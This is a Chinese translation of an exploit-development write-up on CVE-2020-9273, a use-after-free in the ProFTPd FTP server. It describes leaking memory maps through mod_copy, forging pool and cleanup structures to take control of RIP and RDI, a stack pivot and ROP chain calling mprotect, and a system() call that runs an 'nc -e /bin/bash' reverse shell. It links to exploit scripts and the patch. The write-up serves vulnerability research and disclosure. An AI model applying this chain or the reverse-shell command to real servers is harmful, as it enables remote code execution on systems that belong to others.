深入分析CVE-2020-9273漏洞

匿名者  981天前

5.png

在这篇文章中,我们将与读者一道深入考察ProFTPd中的一个Use-After-Free漏洞,并介绍如何建立相应的PoC

简介

本文将深入分析ProFTPd中的Use-After-Free漏洞,并介绍如何绕过所有默认的内存漏洞缓解措施(ASLRPIENXFullRELROStack Canaries等)来利用该漏洞。

首先,我们需要感谢两位大神:

  •     @DUKPT_,他也为这个漏洞创建了相应的PoC,他的方法是覆盖gid_tab->pool;在本文中,我们也将使用这个方法(详情将在后面的文章中解释)。
  •     Antonio Morales@nosoynadiemas),是他发现了这个漏洞,具体可以参考他发表的文章:“Fuzzing sockets, part 1: FTP servers”。

漏洞详情

为了触发这个漏洞,我们需要先启动一个新的数据通道进行传输,然后在数据通道仍然处于开放状态的时候,通过命令中断该通道。

利用数据通道,我们可以填充堆内存来覆盖resp_pool结构体,这时的resp_pool其实就是

session.curr_cmd_rec->pool

成功触发该漏洞后,我们就能够完全控制resp_pool结构体。

gef➤  p p

$3 = (struct pool_rec *) 0x555555708220

gef➤  p resp_pool

$4 = (pool *) 0x555555708220

gef➤  p session.curr_cmd_rec->pool

$5 = (struct pool_rec *) 0x555555708220

gef➤  p *resp_pool

$6 = {

 first = 0x4141414141414141,

 last = 0x4141414141414141,

 cleanups = 0x4141414141414141,

 sub_pools = 0x4141414141414141,

 sub_next = 0x4141414141414141,

 sub_prev = 0x4141414141414141,

 parent = 0x4141414141414141,

 free_first_avail = 0x4141414141414141 <error: Cannot access memory ataddress 0x4141414141414141>,

  tag= 0x4141414141414141 <error: Cannot access memory at address0x4141414141414141>

}

很明显,由于结构体中并没有有效的指针,从而导致了分段故障(segmentation fault)。

first_avail = blok->h.first_avail

其中,当时blok的值是0x414141414141,与p->last的值一致。

ProFTPd的内存池分配器

ProFTPd的内存池分配器与Apache的完全相同。

在这里,程序将使用palloc()pcalloc()函数进行内存分配,实际上,它们就是alloc_pool()的包装函数。

ProFTPd内存池分配器使用的是内存块,也就是实际的glibc堆块。

每个内存块都有一个block_hdr头部结构体:

union block_hdr {

 union align a;

  /*Padding */

#if defined(_LP64) || defined(__LP64__)

 char pad[32];

#endif

  /*Actual header */

 struct {

   void *endp;

   union block_hdr *next;

   void *first_avail;

  }h;

};

  •    blok->h.endp 指向当前块的末尾
  •    blok->h.next 指向链接列表中的下一个块
  •    blok->h.first_avail 指向该块中第一个可用的内存

下面给出alloc_pool()函数的实现代码:

static void *alloc_pool(struct pool_rec *p,size_t reqsz, int exact) {

 size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);

 size_t sz = nclicks * CLICK_SZ;

 union block_hdr *blok;

 char *first_avail, *new_first_avail;

 blok = p->last;

  if(blok == NULL) {

   errno = EINVAL;

   return NULL;

  }

 first_avail = blok->h.first_avail;

  if(reqsz == 0) {

   errno = EINVAL;

   return NULL;

  }

 new_first_avail = first_avail + sz;

  if(new_first_avail <= (char *) blok->h.endp) {

   blok->h.first_avail = new_first_avail;

   return (void *) first_avail;

  }

 pr_alarms_block();

 blok = new_block(sz, exact);

 p->last->h.next = blok;

 p->last = blok;

 first_avail = blok->h.first_avail;

 blok->h.first_avail = sz + (char *) blok->h.first_avail;

 pr_alarms_unblock();

 return (void *) first_avail;

}

我们可以看到,它首先尝试使用同一内存块中的空间,如果不够用的话,就用new_block()函数分配一个新的内存块,并通过p->last更新内存池的最后一个内存块。

实际上,由pool_rec结构定义的内存池的头部是存储在为该内存池创建的第一个内存块后面的,我们可以看到,函数make_sub_pool()创建了一个新的内存池。

struct pool_rec *make_sub_pool(structpool_rec *p) {

 union block_hdr *blok;

 pool *new_pool;

 pr_alarms_block();

 blok = new_block(0, FALSE);

 new_pool = (pool *) blok->h.first_avail;

 blok->h.first_avail = POOL_HDR_BYTES + (char *)blok->h.first_avail;

 memset(new_pool, 0, sizeof(struct pool_rec));

 new_pool->free_first_avail = blok->h.first_avail;

 new_pool->first = new_pool->last = blok;

  if(p) {

   new_pool->parent = p;

   new_pool->sub_next = p->sub_pools;

   if (new_pool->sub_next)

     new_pool->sub_next->sub_prev = new_pool;

   p->sub_pools = new_pool;

  }

 pr_alarms_unblock();

 return new_pool;

}

实际上,make_sub_pool()也负责创建永久内存池;不过,由于这个内存池没有“父池”,所以,它的pNULL

通过查看make_sub_pool()的代码,我们会发现,它得到了一个新的内存块,它位于block_hdr头部信息之后;然后,pool_rec头部信息被输入,并更新blok->h.first_avail,使其紧随其后。

然后,初始化新创建的内存池的条目。

其中,p->cleanups条目就是一个指向cleanup_t结构体的指针。

typedef struct cleanup {

 void *data;

 void (*plain_cleanup_cb)(void *);

 void (*child_cleanup_cb)(void *);

 struct cleanup *next;

} cleanup_t;

清理工作是由函数run_cleanups()解释的,并由函数register_cleanup()注册。

对于内存块链来说,可以通过free_blocks()进行释放。

static void free_blocks(union block_hdr*blok, const char *pool_tag) {

 union block_hdr *old_free_list = block_freelist;

  if(!blok)

   return;

 block_freelist = blok;

 while (blok->h.next) {

   chk_on_blk_list(blok, old_free_list, pool_tag);

   blok->h.first_avail = (char *) (blok + 1);

   blok = blok->h.next;

  }

 chk_on_blk_list(blok, old_free_list, pool_tag);

 blok->h.first_avail = (char *) (blok + 1);

 blok->h.next = old_free_list;

}

漏洞的利用方法

现在,我们已经控制了pool_rec结构体;接下来,我们可能需要寻找一些原语,以便利用这个漏洞中获得一些有用的东西,比如获得远程代码执行权限。

泄露内存地址

显然,要想利用这个漏洞,必须在使用原语之前,获得可预测的内存地址:因为在这种情况下,漏洞利用过程涉及指针、结构体和内存的写入等操作。

在这种情况下,泄露内存地址是非常困难的,因为我们处于会话的清理/结束进程中,所以,为了触发这个漏洞,我们需要生成一个中断。

为此,我首先想到的是读取/proc/self/maps文件,因为这个文件可以被任何进程读取,即使是低权限的进程也可以。

这在理论上也许是可行的,但不幸的是,ProFTPd使用stat syscall来获取文件大小,而对map这样的伪文件的stat将返回0,这就会中断传输,并且0字节将被返回到数据通道的客户端。

在思考其他的方法时,我又想到了mod_copy,它是ProFTPd中的一个模块,可用于在服务器中复制文件。

我们可以使用mod_copy将文件从/proc/self/maps复制到/tmp目录,而一旦到了那里,我们就可以对/tmp的文件进行正常的传输,因为它现在已经不是一个伪文件了,所以,这时/proc/self/maps的内容将被返回给攻击者。

这个泄漏问题真的很有趣,因为它给出了每个段的地址,甚至共享库的文件名,有时包含libc-2.31.so这样的版本,这对漏洞利用的可靠性来说非常有用:有了这些信息,我们就可以使用特定libc版本的偏移量。

劫持控制流

接下来,我们必须把对session.curr_cmd_rec->pool的控制转化为任意写入原语,以便能够用任意的cleanup_t结构体通过某种方式访问函数run_cleanups()

寻找结构条目的写入方法时,没有找到可以帮助实现直接write-what-where原语的东西(如果能够实现这个原语的话,事情就会容易得多)。

相反,我们能用来实现任意写入原语的唯一方法,就是使用make_sub_pool()函数(它位于pool.c:415),因为有时候以cmd->pool作为参数来调用它:

struct pool_rec *make_sub_pool(structpool_rec *p) {

 union block_hdr *blok;

 pool *new_pool;

 pr_alarms_block();

 blok = new_block(0, FALSE);

 new_pool = (pool *) blok->h.first_avail;

 blok->h.first_avail = POOL_HDR_BYTES + (char *)blok->h.first_avail;

 memset(new_pool, 0, sizeof(struct pool_rec));

 new_pool->free_first_avail = blok->h.first_avail;

 new_pool->first = new_pool->last = blok;

  if(p) {

   new_pool->parent = p;

   new_pool->sub_next = p->sub_pools;

   if (new_pool->sub_next)

     new_pool->sub_next->sub_prev = new_pool;

   p->sub_pools = new_pool;

  }

 pr_alarms_unblock();

 return new_pool;

}

实际上,这个函数是在main.c:287处被_dispatch()函数所调用的,参数为处于我们的控制下的内存池:

...

     if (cmd->tmp_pool == NULL) {

       cmd->tmp_pool = make_sub_pool(cmd->pool);

       pr_pool_tag(cmd->tmp_pool, "cmd_rec tmp pool");

     }

     

...

如你所见,现在new_pool->sub_next已经获得了p->sub_pools的值,这个值实际上处于我们的控制范围之内;然后,我们用new_pool->sub_next->sub_prev来存放new_pool的指针。

这意味着,我们可以将new_pool的值写到任何一个任意的地址上,显然,这似乎一点用都没有,因为我们与这个新创建的内存池cmd->tmp_pool的唯一关系,就是cmd->tmp_pool->parent等于resp_pool,因为我们是它的“父池”。

另外,我们现在唯一可控的值是new_pool->sub_next,它实际上是用于写原语的。

我们还有更有趣的原语吗?

在上一节中,我们解释了ProFTPd内存池分配器的运行机制:当一个新的内存池被创建时,p->firstp->last将指向用于该内存池的块。在这里,我们对p->last非常感兴趣,因为它是实际被使用的内存块,这一点可以从pool.c:570处的alloc_pool()中看到。

...

 blok = p->last;

  if(blok == NULL) {

   errno = EINVAL;

   return NULL;

  }

 first_avail = blok->h.first_avail;

 

...

其中,first_avail是指向已用数据和可用空闲块之间极限的指针,这就是我们将开始分配内存的地方。

另外,我们的内存池将被多次传递给pstrdup()函数为字符串分配内存空间:

char *pstrdup(pool *p, const char *str) {

 char *res;

 size_t len;

  if(p == NULL ||

     str == NULL) {

   errno = EINVAL;

   return NULL;

  }

  len= strlen(str) + 1;

  res= palloc(p, len);

  if(res != NULL) {

   sstrncpy(res, str, len);

  }

 return res;

}

这个函数将先调用palloc()函数,并调用alloc_pool()函数。

除了cmd.c:373处的函数pr_cmd_get_displayable_str()的分配的内存外,大部分分配的内存都是不可控的字符串,这对我们来说似乎没有什么用:

...

  if(pr_table_add(cmd->notes, pstrdup(cmd->pool,"displayable-str"),

     pstrdup(cmd->pool, res), 0) < 0) {

   if (errno != EEXIST) {

     pr_trace_msg(trace_channel, 4,

       "error setting 'displayable-str' command note: %s",strerror(errno));

    }

  }

 

...

如你所见,cmd->pool(我们控制的内存池)被传递给了pstrdup()函数,详见cmd.c:363处的代码:

...

  if(argc > 0) {

   register unsigned int i;

   res = pstrcat(p, res, pr_fs_decode_path(p, argv[0]), NULL);

   for (i = 1; i < argc; i++) {

     res = pstrcat(p, res, " ", pr_fs_decode_path(p, argv[i]),NULL);

    }

  }

...

 现在,res指向我们发送的最后一条命令

...

  if(pr_table_add(cmd->notes, pstrdup(cmd->pool,"displayable-str"),

     pstrdup(cmd->pool, res), 0) < 0) {

   if (errno != EEXIST) {

     pr_trace_msg(trace_channel, 4,

       "error setting 'displayable-str' command note: %s",strerror(errno));

    }

  }

 

...

这意味着,如果我们发送任意数据而不是命令,我们就可以在内存池的块空间上输入自定义数据;另外,由于我们可以破坏p->last,所以,我们可以让blok->h.first_avail指向我们想要的任何地址,这意味着我们可以通过命令覆盖任何数据。

不幸的是,这看起来并不像是数据通道的损坏,因为在这里我们的命令被视为字符串,而不是像数据通道那样的二进制数据。

这意味着,我们在覆盖结构体或任何有用数据方面将受到很大的限制。

另外,由于之前分配了一些内存,所以,从blok->h.first_avail的初始值到通过pstrdup()处理我们的命令过程中,堆中会充满字符串和无效的指针,这很可能在到达run_cleanups()之前就导致代码崩溃了。

最开始的时候,我决定使用blok->h.first_avail来用任意数据覆盖cmd->tmp_pool条目。

另外,这个内存池是在main.c:409处的函数_dispatch()中用destroy_pool()释放的:

...

     destroy_pool(cmd->tmp_pool);

     cmd->tmp_pool = NULL;

     

...

这意味着,如果我们在到达clear_pool()函数时控制了cmd->tmp_pool->cleanups的值,我们就能在run_cleanups()被调用后控制RIPRDI

void destroy_pool(pool *p) {

  if(p == NULL) {

   return;

  }

 pr_alarms_block();

  if(p->parent) {

   if (p->parent->sub_pools == p) {

     p->parent->sub_pools = p->sub_next;

    }

   if (p->sub_prev) {

     p->sub_prev->sub_next = p->sub_next;

    }

   if (p->sub_next) {

     

     p->sub_next->sub_prev = p->sub_prev;

    }

  }

 clear_pool(p);

 free_blocks(p->first, p->tag);

 pr_alarms_unblock();

 

}

正如您所看到的,在访问该内存池的一些条目之后,将会调用clear_pool()函数,但是,前提是这些条目必须为NULL或有效的可写地址。

一旦函数clear_pool()被调用:

static void clear_pool(struct pool_rec *p){

  /*Sanity check. */

  if(p == NULL) {

   return;

  }

 pr_alarms_block();

 run_cleanups(p->cleanups);

 p->cleanups = NULL;

 while (p->sub_pools) {

   destroy_pool(p->sub_pools);

  }

 p->sub_pools = NULL;

 free_blocks(p->first->h.next, p->tag);

 p->first->h.next = NULL;

 p->last = p->first;

 p->first->h.first_avail = p->free_first_avail;

 pr_alarms_unblock();

}

我们就会看到,run_cleanups()函数将被直接调用,而没有进行更多的检查/内存写入。

当调用函数run_cleanups()时:

static void run_cleanups(cleanup_t *c) {

 while (c) {

   if (c->plain_cleanup_cb) {

     (*c->plain_cleanup_cb)(c->data);

    }

    c= c->next;

  }

}

我们可以看一下cleanup_t结构体:

typedef struct cleanup {

 void *data;

 void (*plain_cleanup_cb)(void *);

 void (*child_cleanup_cb)(void *);

 struct cleanup *next;

} cleanup_t;

因此,我们可以用c->plain_cleanup_cb来控制RIP,通过c->data来控制RDI

不幸的是,破坏cmd->tmp_pool并非易事,因为在我们的可控数据之后紧接着附加了一个字符串displayable-str,而在我们的p->cleanup条目之后,还有一些条目会在到达run_cleanups()之前被destroy_pool()函数所访问。

实际上,@DUKPT_也在为这个漏洞编写PoC,他使用的方法是覆盖gid_tab->pool。这是一种更可靠的技术,因为在我们的可控数据之后没有指针,所以,当displayable-str被添加时,不会造成严重的破坏,而且,在这里,我们不是破坏一个pool_rec结构体,而是破坏一个pr_table_t结构体。所以,我们可以将gid_tab->pool指向来自数据通道中的受损内存,由于它们也可以接受NULL,因此,我们可以通过一个任意的p->cleanup值来伪造一个pool_rec结构体,然后再伪造一个cleanup_t结构体,最后将其传递给run_cleanups()函数。

实际上,gid_tab的另一个特点是,gid_tab->pool将被传递给pr_table_free()函数中的destroy_pool()函数,该函数相应的参数为gid_tab

int pr_table_free(pr_table_t *tab) {

  if(tab == NULL) {

   errno = EINVAL;

   return -1;

  }

  if(tab->nents != 0) {

   errno = EPERM;

   return -1;

  }

 destroy_pool(tab->pool);

 return 0;

}

下面,我们来看看pr_table_t的相关代码:

struct table_rec {

 pool *pool;

 unsigned long flags;

 unsigned int seed;

 unsigned int nmaxents;

 pr_table_entry_t **chains;

 unsigned int nchains;

 unsigned int nents;

 pr_table_entry_t *free_ents;

 pr_table_key_t *free_keys;

 pr_table_entry_t *tab_iter_ent;

 pr_table_entry_t *val_iter_ent;

 pr_table_entry_t *cache_ent;

  int(*keycmp)(const void *, size_t, const void *, size_t);

 unsigned int (*keyhash)(const void *, size_t);

 void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *);

 void (*entremove)(pr_table_entry_t **, pr_table_entry_t *);

};

...

typedef struct table_rec pr_table_t;

如你所见,在tab->pooltab->flagstab->seedtab->nmaxents)之后,并没有指针,所以,附加的字符串也就不会触发崩溃了。

那么,我们的下一步计划是什么呢?

1) 伪造一个block_hdr结构体,并让p->last指向它;

2) fake_blok->h.first_avail等于一个指向gid_tab的指针减去一些偏移量,其中偏移量取决于分配的内存块的数量及其长度,所以,当pstrdup()复制命令时,fake_blok->h.first_avail的值正好是gid_tab的地址,以适应我们的地址;

3) p->sub_next等于tab->chains的地址,这样当调用pr_table_kget()时,就会返回NULL,从而为我们的命令分配内存空间;

4) 发送一个带有伪造的pr_table_t的自定义命令,实际上,这里只需要tab->pool,并将fake_tab->pool指向一个伪造的pool_rec结构体;

5)伪造一个pool_rec结构体,让fake_pool->parentfake_pool->sub_nextfake_pool->sub_prev指向任何可写地址,并让fake_pool->cleanup指向一个包含我们任意RIPRDI值的伪造cleanup_t结构体;

下面就是这种劫持技术的使用效果:

*0x4242424242424242 (

  $rdi = 0x4141414141414141,

  $rsi = 0x0000000000000000,

  $rdx = 0x4242424242424242,

  $rcx = 0x0000555555579c00 → <entry_remove+0> endbr64

)

我们可以看到,c->plain_cleanup_cb的值是0x424242424242,而c->data的值则是0x414141414141

这意味着RIPRDI被我们完全控制了。

实现RCE

如前所述,我们的主要目标是使用任意地址到达run_cleanups()函数,或者使用非任意地址但控制其内容。这样的话,我们就能完全控制RIPRDI,考虑到我们已经为每个段提供了可预测的地址,因此,实现远程代码执行并不是不可能的。

下面,我们介绍实现远程代码执行的一些方法。

Stack pivot、ROP与shellcode执行

由于我们同时控制了RIPRDI,所以,我们可以搜索一些有用的gadget,以便通过ROPchain重定向控制流,从而绕过NX

当到达run_cleanups()时:

gef➤  p *c

$7 = {

 data = 0x563593915280,

 plain_cleanup_cb = 0x7f875ab201a1 <authnone_marshal+17>,

 child_cleanup_cb = 0x4141414141414141,

 next = 0x4242424242424242

}

gef➤  x/2i c->plain_cleanup_cb

  0x7f875ab201a1 <authnone_marshal+17>:    push   rdi

  0x7f875ab201a2 <authnone_marshal+18>:    pop    rsp

gef➤ 

当抵达实现stack pivotgadget代码时:

 → 0x7f875ab201a1<authnone_marshal+17> push   rdi

  0x7f875ab201a2 <authnone_marshal+18> pop    rsp

  0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]

  0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8

  0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]

  0x7f875ab201ae <authnone_marshal+30> jmp    rax

我们之前精心设计了一个resp_pool结构体,并让rax指向存储ret指令附近地址的地址。所以,当下面的指令被执行时:

mov   rax, QWORD PTR [rax+0x18]

我们就能获得rax中的地址,该地址将仅用于下一条指令,即jmprax

由于它靠近ret指令,所以,我们就有机会执行ROPchain,因为我们让rsp指向ROPchain的起始位置,并且刚刚执行了一个ret指令。

gef➤  p $rax

$5 = 0x563593915358

gef➤  x/gx $rax + 0x18

0x563593915370:   0x00007f875a9fc679

gef➤  x/i 0x00007f875a9fc679

  0x7f875a9fc679 <__libgcc_s_init+61>:    ret

jmp rax指令被执行的时候:

 

 0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]

  0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8

  0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]

 → 0x7f875ab201ae<authnone_marshal+30> jmp    rax

  0x7f875ab201b0 <authnone_marshal+32> xor    eax, eax

  0x7f875ab201b2 <authnone_marshal+34> ret   

--------------------------------------------------------------

gef➤  p $rax

$6 = 0x7f875a9fc679

gef➤  x/i $rax

  0x7f875a9fc679 <__libgcc_s_init+61>:    ret

我们可以看到,堆栈被成功地“pivoted”了:

gef➤  p $rsp

$7 = (void *) 0x563593915358

gef➤  x/gx 0x563593915358

0x563593915358:   0x00007f875aa21550

gef➤  x/i 0x00007f875aa21550

  0x7f875aa21550 <mblen+112>:       pop    rax

ROPchain将创建一个针对SYS_mprotectsyscall调用,这将把堆范围的内存保护属性更改为rxw。然后,我们将跳转到shellcode,从而最终实现远程代码执行。

如果我们用gdb检查内存的映射情况,我们可以看到堆的一部分内存的访问属性已经变成RWX,这实际上是shellcode所在的位置:

0x0000563593889000 0x00005635938cb0000x0000000000000000 rw- [heap]

0x00005635938cb000 0x00005635939150000x0000000000000000 rw- [heap]

0x0000563593915000 0x00005635939160000x0000000000000000 rwx [heap]

0x0000563593916000 0x000056359394e0000x0000000000000000 rw- [heap]

现在,我们将跳转到shellcode,因为它现在位于可执行内存空间中,所以,我们可以成功实现远程代码执行:

  0x7f875aa3d229 <funlockfile+73> syscall

 → 0x7f875aa3d22b <funlockfile+75>ret   

   ↳  0x563593915310                  push   0x29

     0x563593915312                 pop    rax

     0x563593915313                  push   0x2

     0x563593915315                 pop    rdi

     0x563593915316                 push   0x1

     0x563593915318                 pop    rsi

将所有这些代码组合成一个exploit,就能利用ROP技术成功利用这个漏洞:

ret2libc,或者ret2X

我们可以跳转到任意函数并控制一个参数,这意味着,我们可以用一个任意的参数调用任何一个函数。此外,我们也可以重复使用其他参数的寄存器值,但必须让当前的寄存器对目标函数有效,因为一个无效的指针会引发崩溃。

我采用的方法是调用system()函数,并让RDI指向一个自定义的命令字符串(netcat reverse shell),同时将其放入堆中一个可预测的地址处。

首先,我们通过伪造的pool_rec结构体到达destroy_pool(),实际上,我们可以重用最初控制的结构中的条目:

gef➤  p *p

$1 = {

 first = 0x563f5c9c6280,

 last = 0x7361626174614472,

 cleanups = 0x563f5c9a62d0,

 sub_pools = 0x563f5c9a6298,

 sub_next = 0x563f5c9a62a0,

 sub_prev = 0x563f5c9a0a90,

 parent = 0x563f5c94a738,

 free_first_avail = 0x563f5c94a7e0 "\260\251\224\\?V",

  tag= 0x563f5c9a526e ""

}

gef➤  p *resp_pool

$2 = {

 first = 0x563f5c9a62d0,

 last = 0x563f5c9a6298,

 cleanups = 0x563f5c9a62a0,

 sub_pools = 0x563f5c9a0a90,

 sub_next = 0x563f5c94a738,

 sub_prev = 0x563f5c94a7e0,

 parent = 0x563f5c9a526e,

 free_first_avail = 0x563f5c9a526e "",

  tag= 0x563f5c9a526e ""

}

然后,destroy_pool()函数将调用浑身难受clear_pool(),最后用p->cleanups所指向的伪造的cleanup_t结构体来调用run_cleanups()函数:

gef➤  p *c

$3 = {

 data = 0x563f5c9a62f0,

 plain_cleanup_cb = 0x7fca503f1410 <__libc_system>,

 child_cleanup_cb = 0x4141414141414141,

 next = 0x4242424242424242

}

gef➤  x/s c->data

0x563f5c9a62f0:     "nc -e/bin/bash 127.0.0.1 4444"

我们可以看到,c->plain_cleanup_cb(未来的RIP)指向__libc_system(),而c->data指向我们存储在堆中的命令字符串。

如果我们继续,作为命令执行的一部分,将会运行一个新的进程:即进程35209将执行新程序/usr/bin/ncat

最后,我们将获得一个反向shell,其属主为我们登录到FTP服务器的用户。

演示视频

RCE视频演示也可以在GitHub上找到(与漏洞位于同一个目录中)

漏洞补丁

你可以在这里找到这个漏洞的的补丁,地址为https://github.com/proftpd/proftpd/issues/903

小结

在这篇文章中,我们深入分析了ProFTPdUse-After-Free漏洞,并展示了相应的PoC:即使开启了所有的保护措施(ASLRPIENXRELROSTACKGUARD等),也可以实现远程代码执行。

需要说明的是,为了成功利用这个漏洞,攻击者必须首选完成身份认证。

此外,读者可以在这里找到基于ROP方法的exploit,地址为https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit_rop.py

最后,读者也可以在这里找到其他使用system()netcatexploit,地址为https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit.py

原文地址:https://adepts.of0x.cc/proftpd-cve-2020-9273-exploit/

 

最新评论

昵称
邮箱
提交评论